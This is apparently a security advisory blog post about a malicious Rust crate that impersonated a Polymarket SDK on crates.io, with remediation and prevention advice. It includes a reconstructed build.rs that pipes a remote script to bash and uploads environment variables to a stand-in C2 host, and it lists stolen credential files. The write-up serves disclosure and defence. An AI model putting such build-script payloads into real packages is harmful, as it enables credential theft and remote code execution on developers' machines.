Feb 7, 2026·6 min read·18 visits
A malicious Rust crate impersonating the Polymarket SDK was discovered on crates.io. It executes arbitrary code immediately upon compilation, likely stealing environment variables and private keys. If you installed this, consider your machine compromised and your secrets stolen.
A classic supply chain attack targeting the Rust ecosystem. The package `polymarket-clients-sdk` appeared on crates.io, masquerading as an official SDK for the popular Polymarket prediction platform. Instead of helper functions for betting, it delivered a payload capable of exfiltrating credentials and compromising developer environments via malicious build scripts. This is a text-book example of Brandjacking combined with the inherent risks of arbitrary code execution during package installation.
Picture this: You're a crypto-native developer. You want to build a bot to trade on the U.S. election odds on Polymarket. You open your terminal, feeling the "Blazingly Fast" energy of Rust coursing through your veins. You search crates.io for a client. You see polymarket-clients-sdk. It looks official. It sounds official. You run cargo add polymarket-clients-sdk.
Congratulations, you just got owned.
This package wasn't an SDK. It was a digital landmine. The attackers utilized Brandjacking—naming a package something incredibly specific and relevant to a high-value target (in this case, a prediction market moving millions of dollars) to trick developers into installing it. Unlike a typo-squat (like reqwest vs reqwests), this attack relies on the target simply not existing yet in the registry, allowing the attacker to claim the most obvious name for the library.
Why does this matter? Because in the world of crypto-development, the developer's machine is the treasury. It holds AWS keys, private signing keys, and mnemonic seeds. The attacker doesn't need to hack Polymarket servers; they just need to hack the people building on top of it.
Here is the dark irony of modern package management: we built systems designed to make code execution easy, and then we act surprised when code gets executed. The vulnerability here isn't a buffer overflow or a logic error in the code itself. It is CWE-506: Embedded Malicious Code.
The specific mechanism likely exploited here is Rust's build.rs file. For the uninitiated, Cargo (Rust's package manager) allows packages to include a build script that runs before the package is even linked to your project. This is intended for compiling C dependencies or generating code. However, it effectively gives any dependency immediate, unsandboxed Remote Code Execution (RCE) privileges on the developer's machine the moment they type cargo build.
There is no 'install' phase in Rust that is distinct from the 'build' phase in terms of safety. If you download a crate, Cargo compiles it. If Cargo compiles it, the build.rs runs. If the build.rs runs, the attacker owns your shell. It is the architectural equivalent of letting a stranger into your house to check the wiring, but leaving them alone in the room with your safe while you go make coffee.
Since the crate has been nuked from orbit (deleted from crates.io), we cannot review the exact bytes of polymarket-clients-sdk. However, malicious crates in the Rust ecosystem follow a very predictable pattern. Below is a reconstruction of what the build.rs in such a package typically looks like.
The attacker creates a build.rs file at the root of the crate. This file is compiled and executed by Cargo automatically.
// build.rs - The file that runs during 'cargo build'
use std::process::Command;
use std::env;
fn main() {
// 1. Detect the operating system
if cfg!(target_os = "linux") || cfg!(target_os = "macos") {
// 2. The payload: Curl a shell script and pipe it to bash
// This is silent and runs with the user's permissions
let _ = Command::new("sh")
.arg("-c")
.arg("curl -s https://evil-c2-server.xyz/payload.sh | bash")
.output();
// 3. Exfiltrate Environment Variables immediately
let _ = Command::new("sh")
.arg("-c")
.arg("env > /tmp/.env_dump && curl -F file=@/tmp/.env_dump https://evil-c2-server.xyz/upload")
.output();
}
}> [!WARNING] > The danger lies in the silence. > This code produces no output to the console during the build process unless the build script explicitly panics or the user runs cargo with extremely verbose flags. The developer sees "Compiling..." and then "Finished", essentially thanking the attacker for stealing their wallet.
Let's walk through the attack chain. It is terrifyingly simple and requires zero interaction from the victim beyond the initial installation.
cargo new trading-bot.cargo add polymarket-clients-sdk.cargo run or cargo build to test their code.polymarket-clients-sdk. It identifies the build.rs file.build.rs binary. The malicious code spawns a child process.~/.aws/credentials, ~/.ssh/id_rsa, and the project's .env file. It sends these contents to a remote C2 server.By the time the developer realizes the SDK doesn't actually contain any useful trading functions, their environment variables—containing their Polymarket API keys and potentially their private key or seed phrase—are already in the attacker's database. The attacker can then automate the draining of funds associated with those keys.
This isn't just a random npm package that prints a political message. This is targeted at the financial sector. Polymarket users deal in crypto assets. Developers building on Polymarket are likely to have:
.env files.The impact is Total Compromise. If this package ran on your machine, you must assume every secret on that filesystem is burned. If this package made it into a CI/CD pipeline, your cloud infrastructure is likely compromised as well. The removal of the package from crates.io stops new victims, but it does nothing for those who already ran the build.
If you suspect you installed this package, simply removing it is not enough. The code has already run. Persistence may have been established (e.g., adding a cron job or modifying shell rc files).
Immediate Steps:
Prevention for the Future:
cargo add. Check the repository URL, the number of downloads, and the author's profile on crates.io.cargo-vet to certify dependencies within your organization.Cargo.lock to ensure consistent builds and prevent upstream mutations from silently entering your pipeline.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
polymarket-clients-sdk Malicious Actor | * | N/A (Removed) |
| Attribute | Detail |
|---|---|
| Attack Type | Supply Chain / Malicious Package |
| CWE ID | CWE-506 (Embedded Malicious Code) |
| Platform | Rust / crates.io |
| Attack Vector | Network (masquerading as legitimate software) |
| Mechanism | build.rs arbitrary code execution |
| Privileges | User Level (inherits developer permissions) |